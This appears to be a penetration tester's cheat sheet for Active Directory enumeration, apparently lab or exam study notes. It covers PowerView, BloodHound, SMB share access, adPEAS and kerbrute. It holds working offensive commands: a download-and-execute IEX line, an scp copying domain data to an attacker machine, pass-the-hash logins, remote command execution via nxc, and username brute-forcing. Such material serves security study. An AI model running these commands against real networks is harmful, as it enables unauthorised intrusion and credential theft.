🪟 AD Enumeration

Manual Enumeration

#manual

List all user accounts in the domain.

net user /domain

Display detailed information about the domain user account jeffadmin.

net user markadmin /domain

List all groups in the domain

net group /domain

Display detailed information about the domain group “Sales Department”

net group "Sales Department" /domain

PowerView Enumeration

Import the tool in memory

Import-Module .\PowerView.ps1

Basic information about the domain

Get-NetDomain

Get a list of all users in the domain

Get-NetUser

Choose the cn attribute

Get-NetUser | select cn

Selecting and extracting these interesting attributes

Get-NetUser | select cn,pwdlastset,lastlogon

Enumerate groups

Get-NetGroup | select cn

Select Group member

Get-NetGroup "Sales Department" | select member

Enumerate the computer objects in the domain

Get-NetComputer

Get the operating system and hostnames

Get-NetComputer | select operatingsystem,dnshostname

Permissions and Logged on Users

Find possible local administrative access on computers under the current user context

Find-LocalAdminAccess

Find any logged in users

Get-NetSession -ComputerName wk04 -Verbose

Automated Enumeration

#automated

Bloodhound-CE (v5+ docker edition)

Collecting Data with SharpHound

Take a domain snapshot from the active user

. .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Users\steph\Desktop\ -OutputPrefix "corp audit"
.\SharpHound.exe -c All --OutputPrefix oscp.exam

transfer the resulted file to the attacker machine

scp "corp audit_20240810201601_BloodHound.zip" cyber02@192.168.4.2:/home/cyber02/Desktop/

Analyzing Data using BloodHound

Launch BloodHound using Docker

docker compose -f ~/docker-compose.yml up

Import the SharpHound zip and start analyzing.

show all computers using bloodhound

MATCH (n:Computer)
RETURN n
LIMIT 1000

show all users

MATCH (n:User)
RETURN n
LIMIT 1000

Bloodhound-CE (v4 legacy edition)

for this we can either use sharphound version SharpHound_v1.exe (my custom name for the compatible sharphound version with Bloodhound v4)

then load the data generated to bloodhound v4

Or use bloodhound-python after setting up the hostname and nameservers in our local machine

cat /etc/resolv.conf
# Generated by NetworkManager
search localdomain
#nameserver 192.168.65.2
nameserver 192.168.243.162
cat /etc/hosts      
127.0.0.1       localhost
127.0.1.1       cyber02.cyber02 cyber02
192.168.65.1    feres
192.168.181.163 exfiltrated.offsec
# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

then launch the command against the AD with valid creds

bloodhound-python -u 'Administrator' -p 'hack2lock4' -d 'sub.domain.yzx.' -dc "dc02.sub.domain.yzx" -c all

if verbose is needed we can add -v for further error troubleshooting

SMB Client Enumeration

for easy fast enumeration, we can use smbmap

smbmap -H 192.168.21.12 -u user -p Password123!

List a share in domain when finding valid creds

smbclient -L //172.16.18.1/ -U user%Password123! -W domain.com

Or

smbclient -L //172.16.18.1/ -U user%Password123! -W domain.com

Or

smbclient -L 172.16.158.21 -U domain.com\\user%Password123!

Or

smbclient -L //10.10.12.11/ -U domain/user --password=Password123!

Or

smbclientng -u user -p 'Password123!' -d domain.local --host 192.168.2.15

if unauthorized to access the share from our machine ( we get NT_STATUS_INVALID_WORKSTATION), we can access it from a domain joined machine with

net use \\10.10.12.13 /user:domain.com\user Password123!

Now that we are authenticated let’s view the shares

net view \\10.10.12.13

Map a drive to access the share

net use Z: \\10.10.12.13\SHARENAME /user:domain.com\user Password123!

Access a share

smbclient //172.16.18.2/share -U "domain.com\user%Password123"

Or we can use impacket smbclient.py

smbclient.py DOMAIN/User:'Password123!'@10.10.19.1

using a hash with smbclient.py

smbclient.py Domain/User@10.2.9.11 -hashes :d1a87ca1d6235870dd2357a83568c375

Listing available shares

shares

Selecting a share

use <sharename>

To change the current directory on the remote SMB share:

cd <path>

To list files in the current directory:

ls

To show current directory

pwd

Enumerate shares with nxc and smb using a hash

nxc smb 10.20.x.x_clients -u User -H 'd1a87ca1d6235870dd2357a83568c375' -x "whoami" --shares

To Download All Files in the Share

Inside FTP

Show hidden files:

ls -lsa

Download recursively:

prompt OFF
recurse ON
mget *

if the file is a binary file, switch to binary mode

binary

when recurse does not work (ftp is the standard and not support that option) use the more advanced lftp

lftp -u anonymous ftp://192.168.14.1:3000

Download all files and folders recursively

mirror --verbose

Using wget

wget -r -nH --ftp-user=ftp_jp --ftp-password='Password123!' ftp://192.168.27.26:8080

Search in the downloaded ftp content, -o option in grep tells it to print only the matched part

grep -r -o "password" .

for case insensitive search we add -i

grep -ri "password" .

exclude certain files giving too much junk info

grep -ri --exclude="umbraco.staticwebassets.runtime.json" "password" . 

to see grep output cleanly, we can use less

grep -ri "password" . | less

then use less search engine

/password

AdPEAS

AdPEAS is a bit similar to bloodhound, we can use it this way

First we have to load adPEAS in Powershell.

Import-Module .\adPEAS.ps1

or

. .\adPEAS.ps1

or

gc -raw .\adPEAS.ps1 | iex

or

IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/61106960/adPEAS/main/adPEAS.ps1')

Start adPEAS with all enumeration modules and enumerate the domain the logged-on user and computer is connected to.

Invoke-adPEAS

Start adPEAS with all enumeration modules and enumerate the domain ‘contoso.com’. In addition it writes all output without any ANSI color codes to a file.

Invoke-adPEAS -Domain 'domain.com' -Outputfile 'C:\temp\adPEAS_outputfile' -NoColor

Start adPEAS with all enumeration modules, enumerate the domain ‘contoso.com’ and use the domain controller ‘dc1.contoso.com’ for almost all enumeration requests.

Invoke-adPEAS -Domain 'domain.com' -Server 'dc1.domain.com'

LDAP Enumeration

extract valid users only using ldapsearch

ldapsearch -x -LLL -H ldap://10.10.10.15 -b "DC=DOMAIN,DC=local" \
"(&(objectCategory=person)(objectClass=user)(!(userAccountControl:1.2.840.113556.1.4.803:=2))(!(sAMAccountName=*$)))" sAMAccountName \
| sed -n 's/^sAMAccountName: //p' > users.txt

Kerberos Username Enumeration

We can brute force usernames using kerberos

kerbrute userenum -d Domain.local --dc 10.10.10.15 /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt -t 100

Extract only the users from output and save them to users.txt

using awk:

awk -F'USERNAME: *' '{print $2}' users.txt > clean_users.txt

Explanation:

  • -F'USERNAME: *' sets the field separator to USERNAME: followed by any spaces
  • $2 is everything after that, which is the username

using sed:

sed -n 's/.*USERNAME: *//p' users.txt > clean_users.txt

Here’s what each part does:

  1. sed

    • Stream editor for filtering and transforming text.
  2. -n

    • Suppresses automatic printing of lines. Normally, sed prints every line by default.
    • With -n, only lines explicitly told to print (using p) will be output.
  3. 's/.*USERNAME: *//p'

    • This is a sed substitution command: s/pattern/replacement/flags.

    Breaking it further:

    • .*USERNAME:.* matches any characters at the start of the line, up to USERNAME:.

      • So everything before USERNAME: is matched.
    • * after the space → matches any number of spaces after USERNAME:.

    • // → replace the matched part with nothing (i.e., delete it).

    • p → print the resulting line (because of -n, only lines we print show up).

  4. users.txt > clean_users.txt

    • Reads from users.txt and writes the cleaned usernames to clean_users.txt.